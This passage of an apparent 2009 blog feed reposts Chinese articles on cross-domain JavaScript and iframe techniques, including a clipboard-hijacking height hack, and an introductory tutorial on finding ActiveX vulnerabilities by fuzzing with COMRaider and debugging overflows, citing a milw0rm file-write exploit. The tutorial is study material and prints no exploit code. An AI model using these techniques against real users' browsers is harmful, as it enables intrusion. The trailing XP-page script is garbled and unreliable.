&lt;br /&gt;1. lastScript用于存放上次建立的script节点的ID，在下次要再新建script节点时，要删除上次建立的节点，以免加载的脚本越来越多，占用过多的内存。&lt;br /&gt;2. url后面加了一个数值d是为了防止浏览器缓存脚本数据，在本例中可以不加，但是如果脚本是由服务器动态生成的，那最好加上。&lt;br /&gt;然后再建立两个javascript脚本用于测试：&lt;br /&gt;alert.js：&lt;br /&gt;&lt;br /&gt;Java代码 复制代码&lt;br /&gt;&lt;br /&gt;   1. alert('You can see me!');  &lt;br /&gt;&lt;br /&gt;alert('You can see me!');&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;info.js：&lt;br /&gt;&lt;br /&gt;Java代码 复制代码&lt;br /&gt;&lt;br /&gt;   1. g('myname').value='Hily Jiang';  &lt;br /&gt;   2. g('myblog').value='http://hily.iyi.cn/';  &lt;br /&gt;&lt;br /&gt;g('myname').value='Hily Jiang';&lt;br /&gt;g('myblog').value='http://hily.iyi.cn/';&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;好了，把它们放在本地服务器的根目录下，敲入http://127.0.0.1/test.html，这样它和localhost就不在同一个域内了。&lt;br /&gt;点击“Test Alert”，应该会弹出对话框显示You can see me!。&lt;br /&gt;点击“Get My Info”，应该会在文本框中显示我的信息。&lt;br /&gt;（以上测试页在IE 6.0和FireFox1 .5.0下测试通过。） &lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-8322261528857241394?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://ruvuoai.javaeye.com/blog/281504' title='跨域的iframe操作 - ①兲的耐情 - JavaEye技术网站'/><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/8322261528857241394/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=8322261528857241394' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/8322261528857241394'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/8322261528857241394'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2009/01/iframe-javaeye.html' title='跨域的iframe操作 - ①兲的耐情 - JavaEye技术网站'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-755413501995909197</id><published>2009-01-05T02:40:00.000-08:00</published><updated>2009-01-05T02:40:39.636-08:00</updated><title type='text'>跨域问题解决方案 - 朱燚 - 博客园</title><content type='html'>&lt;a href="http://www.cnblogs.com/yizhu2000/archive/2008/01/13/1037396.html"&gt;跨域问题解决方案 - 朱燚 - 博客园&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;转自:http://blog.csdn.net/lenel&lt;br /&gt;&lt;br /&gt;关于跨域名问题还是问题么，这方面的解决实践非常多，今天我就旧话重提把我所知道的通过几个应用场景来分别总结一下（转帖请注明出处：http://blog.csdn.net/lenel）&lt;br /&gt;&lt;br /&gt;先说明一点：我说的某某域名在您的控制下的意思是这个域名下的网页由您来负责开发内部的JavaScript&lt;br /&gt;场景一：将bbs.xxx.com的页面用iframe嵌入到www.xxx.com的中，如何在iframe内外使用js通信（转帖请注明出处：http://blog.csdn.net/lenel）&lt;br /&gt;一级域名都是xxx.com 这个域名一定是在您的控制下，所以你只要在两个页面中同时升级域名即可&lt;br /&gt;在父窗口和iframe内部分别加上js语句：document.domain="xxx.com";&lt;br /&gt;之后2个页面就等于在同一域名下，通过window.parent oIframe.contentDocument就可以相互访问，进行无障碍的JS通信&lt;br /&gt;在新浪、淘宝等很多页面都能找到这样的语句。不过document.domain不可以随便指定，只能向上升级，从bbs.xxx.com升级到yyy.com肯定会出错&lt;br /&gt;&lt;br /&gt;场景二：将www.yyy.com的页面用iframe嵌入到www.xxx.com的中，两个域名都在您的控制下，如何在iframe内外进行一定的数据交流（转帖请注明出处：http://blog.csdn.net/lenel）&lt;br /&gt;你可以通过相互改变hash值的方式来进行一些数据的通信&lt;br /&gt;&lt;br /&gt;这里的实现基于如下技术要点：&lt;br /&gt;1、父窗口通过改变子窗口的src中的hash值把一部分信息传入，如果src只有hash部分改变，那么子窗口是不会重新载入的。&lt;br /&gt;2、子窗口可以重写父窗口的location.href，但是注意这里子窗口无法读取而只能重写location.href所以要求前提是您控制两个域名，知道当前父窗口的location.href是什么并写在子窗口内，这样通过parent.location.href = "已知的父窗口的href"+"#"+hash。这样父窗口只有hash改变也不会重载。&lt;br /&gt;3、上面两步分别做到了两个窗口之间的无刷新数据通知，那么下面的来说如何感知数据变化。标准中没有相关规定，所以当前的任意浏览器遇到 location.hash变化都不会触发任何javaScript事件，也就是说您要自己写监听函数来监视loaction.hash的值的变化。做法是通过setTimeout或者setInterval来写一个监听函数每20-100ms查看一下hash是否变化，如果变化了驱动js根据新的数据做想做的事情。&lt;br /&gt;&lt;br /&gt;这种实现的一些分析：&lt;br /&gt;1、信息通道是双向的，当然会兼容单向，如果只是父窗口向子窗口通知数据，只需要子窗口写hash监听，反之亦然。&lt;br /&gt;2、局限性也是颇大，因为这种通信的前提是双方知道对方的location.href。如果父窗口带有动态的location.search也就是查询参数，那么子窗口的处理上就比较困难，需要把父窗口的location.search作为传递信息的一部分告知子窗口。&lt;br /&gt;3、另外的困扰会有浏览器带给你，IE之外的浏览器遇到hash的改变会记录历史，这样你在处理前进后退的时候会非常头疼&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;场景三：将www.yyy.com的页面用iframe嵌入到www.xxx.com的中，只有被嵌入的yyy.com在您的控制下，如何在iframe内外进行一定的交流&lt;br /&gt;真实场景：google adsence的一个需求，你希望google发现您的页面不能匹配出相关性非常好的按点击付费广告时，你希望google的广告iframe能够隐藏。&lt;br /&gt;google的广告iframe在google域下显然不能把自己隐藏掉，那么怎么办呢？&lt;br /&gt;1、google会提供给你一个html页面&lt;br /&gt;2、您将这个页面放置在您的域名下，并告诉google它的位置&lt;br /&gt;3、当google发现没有很好的广告时，会将子窗口的loaction重定向到您的那个页面下，这样您的页面因为同域名就可以访问父页面来隐藏自己了&lt;br /&gt;是不是很巧的方法？&lt;br /&gt;&lt;br /&gt;场景四：您是内容发布商，如何改造接口，让其他域名下的页面可以从浏览器端出发获得您的数据&lt;br /&gt;我们知道ajax的xmlHttpRequest()说到底是一个无刷新请求服务器数据的辅助工具，但是xmlHttpRequest并不能跨域名请求数据，在某些情况下成了极大的限制。&lt;br /&gt;但是我们如果通过其他方式完成无刷新请求数据不也可以么，我们用Dom方法操作动态JS脚本请求来做这件事。&lt;br /&gt;    //创建一个脚本节点&lt;br /&gt;    var oScript = document.createElement('script');&lt;br /&gt;    //指定脚本src src可以指向任意域名&lt;br /&gt;    //注意src不再指向静态js，而是带着查询参数指向一个动态脚本广播服务。&lt;br /&gt;    oScript.src = "http://yyy.com/query.php?"+yourQueryString;   &lt;br /&gt;    //如果指定了charset 同时还可以解决xmlHttpRequest另一大困扰 乱码问题                                                                                                                           &lt;br /&gt;    //oScript.charset = "utf-8";&lt;br /&gt;    //通过Dom操作把这个新的节点加入到文档当中                                 &lt;br /&gt;    document.getElementsByTagName("head")[0].appendChild(oScript);&lt;br /&gt;&lt;br /&gt;这样只要query.php的输出是可执行的javaScript脚本，比如：djsCallBack（{jsondata}）;&lt;br /&gt;当他从服务器返回后就会自动执行,你可以方便的用json方式来做数据传递了。&lt;br /&gt;要注意，您的脚本请求最好带上时间戳，避免浏览器缓存造成取回数据实时性下降。&lt;br /&gt;&lt;br /&gt;如果您是数据提供者，您可以要求数据索取者在查询参数中提供回调函数名，比如query.php?callback=myDataHandler&amp;key=...?&lt;br /&gt;这样您就可以根据参数来提供给他myDataHandler({jsondata}),这样不同的数据索取者都会得到自定义的正确的异步回调。&lt;br /&gt;&lt;br /&gt;进一步发展，可以做一个统一的从xml到动态json的数据转化服务器，脱离数据的实际意义，针对任何xml接口都可以作为转化后提供给客户端直接访问。&lt;br /&gt;这样就不用针对单独xml数据服务，为了跨域名而做各自的后台数据抓取转化服务。&lt;br /&gt;&lt;br /&gt;用动态脚本传数据功能非常强大，去年我最先在YAHOO的站点上看到这样的应用，让人眼前一亮。&lt;br /&gt;&lt;br /&gt;总结总结：&lt;br /&gt;第一种场景，相应的处理办法有这非常好的效果，可以说完全解决了问题。&lt;br /&gt;第二种场景，相应的处理办法具有一定的跨域数据交流功效，具有相当大的局限，并不适合在复杂业务流程中应用，实际上我也确实也没看到过基于此的大规模应用。&lt;br /&gt;第三种场景，相应的处理办法比较巧妙，虽然redirect之后就不干你什么事了，但如果你是google一样面向众多域名的内容提供商，也是个不错的解决思路。&lt;br /&gt;第四种场景，相应的处理办法非常强大，对比Ajax可以看到，跨域名没问题，无刷新没问题，本身又是异步的，JSON比xml快的多，同时解决乱码问题，只是请求都是Get方式的，不能做Post方式的请求。多一种武器自然可以从容选择了。（转帖请注明出处：http://blog.csdn.net/lenel）&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-755413501995909197?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://www.cnblogs.com/yizhu2000/archive/2008/01/13/1037396.html' title='跨域问题解决方案 - 朱燚 - 博客园'/><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/755413501995909197/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=755413501995909197' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/755413501995909197'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/755413501995909197'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2009/01/blog-post.html' title='跨域问题解决方案 - 朱燚 - 博客园'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-1868640333854940668</id><published>2009-01-05T02:39:00.000-08:00</published><updated>2009-01-05T02:39:53.228-08:00</updated><title type='text'>剪贴板实现跨域iframe高度自适应 @ 阅微堂</title><content type='html'>&lt;a href="http://zhiqiang.org/blog/posts/cross-domain-clipboard-achieve-highly-adaptive-iframe.html"&gt;剪贴板实现跨域iframe高度自适应 @ 阅微堂&lt;/a&gt;&lt;br /&gt;剪贴板实现跨域iframe高度自适应&lt;br /&gt;zhiqiang10月 9, 2006 IT技术&lt;br /&gt;&lt;br /&gt;这两天玩xiaonei用到的一个技术，虽说是跨域iframe，但要求对外部网页和内部网页都有编辑权限，所以只能用在一些特殊场合。&lt;br /&gt;&lt;br /&gt;如果是域内的iframe，高度自适应非常简单，给iframe加入onload属性即可：&lt;br /&gt;&lt;br /&gt;    &lt;iframe name=iframeUpload src=index.htm marginwidth=1&lt;br /&gt;    marginheight=1 width='100%' scrolling='no' border='0'&lt;br /&gt;    frameborder='0'&lt;br /&gt;    onLoad='this.height=iframeUpload.document.body.scrollHeight'&lt;br /&gt;    target='_blank' style="font-size: 9pt"&gt;&lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;这样的方法，baidu一下有很多，一些复杂的方式考虑了浏览器差异等，某些情况下更有效更稳定。不过为安全因素，所有游览器都禁止了不同顶级域名的iframe与其父窗口之间的通信，上面的方法也全失效了。&lt;br /&gt;&lt;br /&gt;在http://www.ikown.com/html/show-id-106.html提到另一种实现的技巧，不过需要完全征用用户的剪贴板，后来在code的提示下，可以在基本不影响用户剪贴板使用的情况下，做同样的事情。完整代码如下：&lt;br /&gt;&lt;br /&gt;    &lt;iframe id="cwin" SCROLLING="no"&lt;br /&gt;    src="http://othersite/a.html" width="100%"&lt;br /&gt;    height="700px" frameborder="0"  onload="function&lt;br /&gt;    resetIframeHeight(){setTimeout(resetIframeHeight,1000);var&lt;br /&gt;    str=window.clipboardData.getData('text');  var&lt;br /&gt;    obj=document.getElementById('cwin');  if(str.match(/^frameHeight=&lt;br /&gt;    \d+x/)){    obj.style.height=parseInt(str.match(/\d+/))&lt;br /&gt;    +'px';window.clipboardData.setData('text',str.replace(/&lt;br /&gt;    ^frameHeight=\d+x/, "));}}setTimeout(resetIframeHeight,1000);"&gt;&lt;br /&gt;    &lt;/iframe&gt;&lt;br /&gt;&lt;br /&gt;下面是http://othersite/a.html的代码&lt;br /&gt;&lt;br /&gt;    &lt;script type="text/javascript"&gt;&lt;br /&gt;    function ref() {&lt;br /&gt;    var tts = window.clipboardData.getData('text');&lt;br /&gt;    window.clipboardData.setData('text',&lt;br /&gt;    String ('frameHeight='+document.getElementById("PageEnd").offsetTop) +"x"+tts);&lt;br /&gt;    }&lt;br /&gt;    &lt;/script&gt;&lt;br /&gt;    &lt;body onload="ref();"&gt; i love it. &lt;/body&gt;&lt;br /&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-1868640333854940668?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://zhiqiang.org/blog/posts/cross-domain-clipboard-achieve-highly-adaptive-iframe.html' title='剪贴板实现跨域iframe高度自适应 @ 阅微堂'/><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/1868640333854940668/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=1868640333854940668' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/1868640333854940668'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/1868640333854940668'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2009/01/iframe.html' title='剪贴板实现跨域iframe高度自适应 @ 阅微堂'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-5385655111992987506</id><published>2009-01-04T22:27:00.000-08:00</published><updated>2009-01-04T22:27:18.091-08:00</updated><title type='text'>ActiveX 控件漏洞挖掘入门_悦来客栈-baidu分栈</title><content type='html'>【原创】ActiveX 控件漏洞挖掘入门&lt;br /&gt;http://hi.baidu.com/bybabbitt/blog/item/ee5aedbfb73ff90d19d81fac.html&lt;br /&gt;标 题:     ActiveX控件漏洞挖掘入门&lt;br /&gt;作 者:      k7zj&lt;br /&gt;时 间:      2008-03-27,14:52&lt;br /&gt;&lt;br /&gt;--------------------------------------------------------------------------------&lt;br /&gt;&lt;br /&gt;【文章标题】:     ActiveX控件漏洞挖掘入门&lt;br /&gt;【文章作者】:     k7zj&lt;br /&gt;【作者邮箱】:     k7zjmost@21cn.com&lt;br /&gt;【编写语言】:    html etc.&lt;br /&gt;【使用工具】:     COMRaider&lt;br /&gt;【操作平台】:     WINXP SP2&lt;br /&gt;【作者声明】:     其实是看了一篇文章《ActiveX-ActiveExploitation》以及一些常见的ActiveX漏洞挖掘过程，想对这方面的东西做点小小的总结，权当作入门的东西，勉强算是原创吧。。。&lt;br /&gt;                           &lt;br /&gt;【基础介绍】&lt;br /&gt;        ActiveX是微软在1996年引入，是基于COM组件和OLE的。COM组件开发的目的是为了简化代码的重用，通过建立带有接口的对象，它们能被其他 COM足见以及程序调用，IE里面经常用到这样的技术。因此COM组件被广泛用于开发浏览器的第三方应用程序，其实也就是插件。但由于现在有的第三方开发人员编程方面的原因，控件出现越来越多的漏洞能被恶意的网站来利用，通过溢出或者是功能代码的注入来侵害个人电脑。&lt;br /&gt;        ActiveX控件被利用多出现在2个方面：第一就是其导出函数可能具有的隐蔽的功能，比如操作注册表，读写文件等等，还有就是控件本身一些函数在处理参数的时候出现了参数长度未检查造成溢出的情况。恶意的网站如果在网站上安装了有漏洞的COM组件，而用户毫不知情的情况下访问很容易被入侵。&lt;br /&gt;        ActiveX控件被浏览器调用实例化的条件是：它是被标记了可安全执行脚本（as safe for scripting）。要判断其是否为可安全执行脚本，只需在注册表中对应的CLSID项下查看是否有Implemented Categories此项即可。&lt;br /&gt;&lt;br /&gt;【FUZZ工具介绍】&lt;br /&gt;        目前FUZZ ActiveX控件比较好的工具是COMRaider.&lt;br /&gt;&lt;br /&gt;【如何跟踪COM组件的接口】&lt;br /&gt;        首先来讲些基础知识：&lt;br /&gt;        IDispatch接口如下：&lt;br /&gt;        interface IDispatch:IUnknow&lt;br /&gt;        {&lt;br /&gt;            virtual HRESULT GetTypeInfoCount(UINT *pctinfo) = 0;&lt;br /&gt;            virtual HRESULT GetTypeInfo(UINT itinfo,LCID lcid,ITypeInfo **pptinfo) = 0;&lt;br /&gt;            virtual HRESULT GetIDsOfNames (&lt;br /&gt;                                                          REFIID riid,&lt;br /&gt;                                                          LPOLESTR* rgszNames,&lt;br /&gt;                                                          UINT cNames,&lt;br /&gt;                                                          LCID lcid,&lt;br /&gt;                                                          DISPID* rgdispid) = 0;&lt;br /&gt;            virtual HRESULT Invoke(&lt;br /&gt;                                                          DISPID dispidMember,&lt;br /&gt;                                                          REFIID riid,&lt;br /&gt;                                                          LCID lcid,&lt;br /&gt;                                                          WORD wFlags,&lt;br /&gt;                                                          DISPPARMS* pdispparams,&lt;br /&gt;                                                          VARIANT* pvarResult,&lt;br /&gt;                                                          EXCEPINFO* pexcepinfo,&lt;br /&gt;                                                          UINT* puArgErr) = 0;&lt;br /&gt;        }&lt;br /&gt;        1.GetTypeInfoConut():    用于获取自动化组件支持的ITypeInfo接口的数目。&lt;br /&gt;        2.GetTypeInfo():           用于获取指针ITypeInfo接口的指针，通过该指针将能够判断自动化服务程序所提供的自动化支持。&lt;br /&gt;        3.GetIdsofNames():        读取一个函数的名称并返回其调度ID(DISPID).&lt;br /&gt;                                               DISPID *rgdispid是一个long类型的数据，对于IDispatch的一个特定实现，此DISPID值应该是唯一的。REFIID riid：为保留参数，不许设置为IID_NULL，在rgszNames中指定了成员函数名及其参数，由cNames标识了名字的个数，lcid参数用于指定本地化标识，得到的DISPID将保存到rgdispid中。   &lt;br /&gt;        4.Invoke():                      提供了访问自动化对象暴露出来的方法和属性的方法。&lt;br /&gt;                                              将DISPID作为函数指针数组的索引传入dispidMember参数，Invoke()将实现一组按此索引来访问的函数。riid和lcid的含义与在GetIDsOfNames（）中的定义相同，分别为保留参数和本地化标识。&lt;br /&gt;                                            WORD wFlags：            指定了要访问的是接口的属性还是方法&lt;br /&gt;                                            DISPPARMS* pdispparams：包括了方法和属性调用的参数数组、DISPID数组以及数组中参数个数等信息。&lt;br /&gt;                                            VARIANT* pvarResult：      保存返回值信息。&lt;br /&gt;                                            EXCEPINFO* pexcepinfo： 指向一个有效的异常信息结构。&lt;br /&gt;                                            UINT * PuArgErr：          包含了第一个产生错误的参数指针。&lt;br /&gt;&lt;br /&gt;        综合以上，可以了解到：通过GetIDsOfNames（）和Invoke（）的结合使用，将可以根据函数名称对方法和属性进行调用。这样，函数地址、AddRef（）、Release（）以及接口指针等细节问题将无需考虑。&lt;br /&gt;        基于以上的分析，对于COM里面某个函数的定位思路是：由于在调用COM里面某个函数时，会去分发，然后再调用COM里面的函数，那么，我们就在它分发的时候先把它拦截下来，之后再单步跟入某个函数。&lt;br /&gt;        关键函数：DispCallFunc，位于OLEAUT32.dll。在DispCallFunc函数一直“步过”，直到见到Call ecx时，我们就来到了进入COM里面某个函数的边缘了！就差一步“步进”，就来到了COM里面的某个函数的入口点了。&lt;br /&gt;&lt;br /&gt;【如何跟踪COM组件的接口--示例】&lt;br /&gt;使用工具：     COMRaider&lt;br /&gt;目标：            COMRaider里含有的vuln.dll&lt;br /&gt;&lt;br /&gt;1.    首先注册vuln.dll&lt;br /&gt;如图（点击放大）：&lt;br /&gt;&lt;br /&gt;2．运行COMRaider,选择开始并直接fuzz vuln.dll&lt;br /&gt;如图（点击放大）：&lt;br /&gt;&lt;br /&gt;3．选择Method3开始“Fuzz member”&lt;br /&gt;如图（点击放大）：&lt;br /&gt;&lt;br /&gt;4．点击Next后出现了很多文件，随便选择一个点右键“Launch in Olly”&lt;br /&gt;如图（点击放大）：&lt;br /&gt;&lt;br /&gt;5．被ollydbg加载后出现在入口点。首先查看可执行模块，因为前面说过DispCallFunc位于OLEAUT32.dll，所以直接查看 OLEAUT32.dll，双击OLEAUT32那条，然后ctrl+n,在DispCallFun下断点即可。&lt;br /&gt;如图（点击放大）：&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6.下好断点以后F9运行，会停在DispCallFunc这里，然后单步走。&lt;br /&gt;如图（点击放大）：&lt;br /&gt;&lt;br /&gt;7．F8单步，直到看见Call ecx的时候单步步入，就到了被分发函数的入口了。&lt;br /&gt;如图（点击放大）：&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        这样就找了调试那个函数的入口，就可以自己调试了。&lt;br /&gt;&lt;br /&gt;【再一个示例】&lt;br /&gt;        这次使用method1的函数，可以观察由COMRaider生成的fuzz文件（我的是在跟com-dll一个目录下）。&lt;br /&gt;  &lt;br /&gt;        注意红色部分，表示填充的参数为3092个，该脚本通过调用mehod1来弹出一个显示3092个A的对话框，但是由于参数太多，导致溢出。双击文件可见结果如下：&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;        可见是被A字符串所溢出。&lt;br /&gt;&lt;br /&gt;【该部分小结】&lt;br /&gt;        COMRaider的目的就可以根据接口所提供的参数类型构造不同的FUZZ脚本，比如说method1的参数是string，则COMRaider就构造超长字符串的参数的脚本来fuzz,并且还能通过调试器来调试。&lt;br /&gt;&lt;br /&gt;【其他类型的漏洞】&lt;br /&gt;        ActiveX控件提供了丰富的接口来操作，但是有的接口可能会被不法的人来利用干坏事。下面就举一个例子来演示ActiveX在这方面的破坏性。&lt;br /&gt;        这是一个2007年9月报出的漏洞。&lt;br /&gt;        QRcode ActiveX中的SaveAsBMW () 和 SaveAsWMF()可以储存任何文件类型的文件。那意味着它可以修改系统的配置文件以及做很多坏事。&lt;br /&gt;        还是先用COMRaider来看看。&lt;br /&gt;        选择MW6QRCode.dll，查看&lt;br /&gt;        这2个函数存在。&lt;br /&gt;        其实如何找到这2个函数有漏洞存在还是需要尝试去调用。这里过程是艰巨的，我还是直接给出EXP，是在www.milW0rm.org上找的。&lt;br /&gt;        是个网页形式的，上面有说明，点击以后会在系统目录下生成system_.ini文件，如果别有用意的人可能会写点可执行程序等等，病毒啊，木马啊甚至rootkit....那到时候就不堪设想了。&lt;br /&gt;&lt;br /&gt;【总结】&lt;br /&gt;        可见挖掘软件漏洞是个非常困难的工程，要求掌握很多的知识，对于挖掘ActiveX的漏洞我之前并没有太多的认识。这篇算勉强算是ActiveX漏洞发掘的入门篇吧，说白了就是一些总结，因为好多东西都是在网上找的，所以有什么不对的地方，还希望能够多多指出。希望大家一起交流。&lt;br /&gt;&lt;br /&gt;参考文献：       《 ActiveX-ActiveExploitation》&lt;br /&gt;                         Milw0rm: http://www.milw0rm.com/exploits/4420&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8748095276649871935-5385655111992987506?l=zhu-jialai.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='related' href='http://hi.baidu.com/bybabbitt/blog/item/ee5aedbfb73ff90d19d81fac.html' title='ActiveX 控件漏洞挖掘入门_悦来客栈-baidu分栈'/><link rel='replies' type='application/atom+xml' href='http://zhu-jialai.blogspot.com/feeds/5385655111992987506/comments/default' title='帖子评论'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=8748095276649871935&amp;postID=5385655111992987506' title='0 条评论'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/5385655111992987506'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8748095276649871935/posts/default/5385655111992987506'/><link rel='alternate' type='text/html' href='http://zhu-jialai.blogspot.com/2009/01/activex-baidu.html' title='ActiveX 控件漏洞挖掘入门_悦来客栈-baidu分栈'/><author><name>LESE</name><uri>http://www.blogger.com/profile/02668902373348705814</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8748095276649871935.post-106704617496621464</id><published>2008-11-24T22:45:00.000-08:00</published><updated>2008-11-24T22:45:10.118-08:00</updated><title type='text'>優化XP設定</title><content type='html'>&lt;a href="http://www.alan888.com/winxp/Optimize.html"&gt;優化XP設定&lt;/a&gt;: "在〔控制台〕→〔電話和數據機選項〕→〔數據機〕→〔進階〕"&lt;br /&gt;&lt;link rel="StyleSheet" href="http://www.alan888.com/winxp/alan.css" type="text/css"&gt; &lt;script language="JavaScript"&gt; NS6 = (document.getElementById&amp;&amp;!document.all) IE = (document.all) NS = (navigator.appName=="Netscape" &amp;&amp; navigator.appVersion.charAt(0)=="4")  tempBar='';barBuilt=0;ssmItems=new Array();  moving=setTimeout('null',1) function moveOut() { if ((NS6||NS)&amp;&amp;parseInt(ssm.left)&lt;0 moving =" setTimeout('moveOut()'," moving="setTimeout('null',1)}};" moving =" setTimeout('moveBack1()',"&gt;(-menuWidth) || IE &amp;&amp; ssm.pixelLeft&gt;(-menuWidth)) { clearTimeout(moving);moving = setTimeout('moveBack1()', slideSpeed);slideMenu(-10)} else {clearTimeout(moving);moving=setTimeout('null',1)}} function slideMenu(num){ if (IE) {ssm.pixelLeft += num;} if (NS||NS6) {ssm.left = parseInt(ssm.left)+num;} if (NS) {bssm.clip.right+=num;bssm2.clip.right+=num;}}  function makeStatic() { if (NS||NS6) {winY = window.pageYOffset;} if (IE) {winY = document.body.scrollTop;} if (NS6||IE||NS) { if (winY!=lastY&amp;&amp;winY&gt;YOffset-staticYOffset) { smooth = .2 * (winY - lastY - YOffset + staticYOffset);} else if (YOffset-staticYOffset+lastY&gt;YOffset-staticYOffset) { smooth = .2 * (winY - lastY - (YOffset-(YOffset-winY)));} else {smooth=0} if(smooth &gt; 0) smooth = Math.ceil(smooth); else smooth = Math.floor(smooth); if (IE) bssm.pixelTop+=smooth; if (NS6||NS) bssm.top=parseInt(bssm.top)+smooth lastY = lastY+smooth; setTimeout('makeStatic()', 1)}}  function buildBar() { if(barText.indexOf('&lt;img')&gt;-1) {tempBar=barText} else{for (b=0;b&lt;barText.length;b++) {tempBar+=barText.charAt(b)+"&lt;br /&gt;"}} document.write('&lt;td align="center" rowspan="100" width="'+barWidth+'" bg valign="'+barVAlign+'" style="color:'+barBGColor+';"&gt;&lt;p align="center"&gt;&lt;span style="font-family:'+barFontFamily+';font-size:'+barFontSize+';color:'+barFontColor+';"&gt;&lt;b&gt;'+tempBar+'&lt;/b&gt;&lt;/span&gt;&lt;/p&gt;&lt;/td&gt;')}  function initSlide() { if (NS6){ssm=document.getElementById("thessm").style;bssm=document.getElementById("basessm").style; bssm.clip="rect(0 "+document.getElementById("thessm").offsetWidth+" "+document.getElementById("thessm").offsetHeight+" 0)";ssm.visibility="visible";} else if (IE) {ssm=document.all("thessm").style;bssm=document.all("basessm").style bssm.clip="rect(0 "+thessm.offsetWidth+" "+thessm.offsetHeight+" 0)";bssm.visibility = "visible";} else if (NS) {bssm=document.layers["basessm1"]; bssm2=bssm.document.layers["basessm2"];ssm=bssm2.document.layers["thessm"]; bssm2.clip.left=0;ssm.visibility = "show";} if (menuIsStatic=="yes") makeStatic();}  function buildMenu() { if (IE||NS6) {document.write('&lt;div id="basessm" style="visibility:hidden;Position : Absolute ;Left : '+XOffset+' ;Top : '+YOffset+' ;Z-Index : 20;width:'+(menuWidth+barWidth+10)+'"&gt;&lt;div id="thessm" style="Position : Absolute ;Left : '+(-menuWidth)+' ;Top : 0 ;Z-Index : 20;" onmouseover="moveOut()" onmouseout="moveBack()"&gt;')} if (NS) {document.write('&lt;layer name="basessm1" top="'+YOffset+'" left="'+XOffset+'" visibility="show"&gt;&lt;ilayer name="basessm2"&gt;&lt;layer visibility="hide" name="thessm" bg left="'+(-menuWidth)+'" onmouseover="moveOut()" onmouseout="moveBack()" style="color:'+menuBGColor+';"&gt;')} if (NS6){document.write('&lt;table border="0" cellpadding="0" cellspacing="0" width="'+(menuWidth+barWidth+2)+'" bg style="color:'+menuBGColor+';"&gt;&lt;tr&gt;&lt;td&gt;')} document.write('&lt;table border="0" cellpadding="0" cellspacing="1" width="'+(menuWidth+barWidth+2)+'" bg style="color:'+menuBGColor+';"&gt;'); for(i=0;i&lt;ssmitems.length;i++)&gt;')} if(!ssmItems[i][1]){ document.write('&lt;td bg height="'+hdrHeight+'" align="'+hdrAlign+'" valign="'+hdrVAlign+'" width="'+ssmItems[i][5]+'" colspan="'+ssmItems[i][3]+'" style="color:'+hdrBGColor+';"&gt; &lt;span 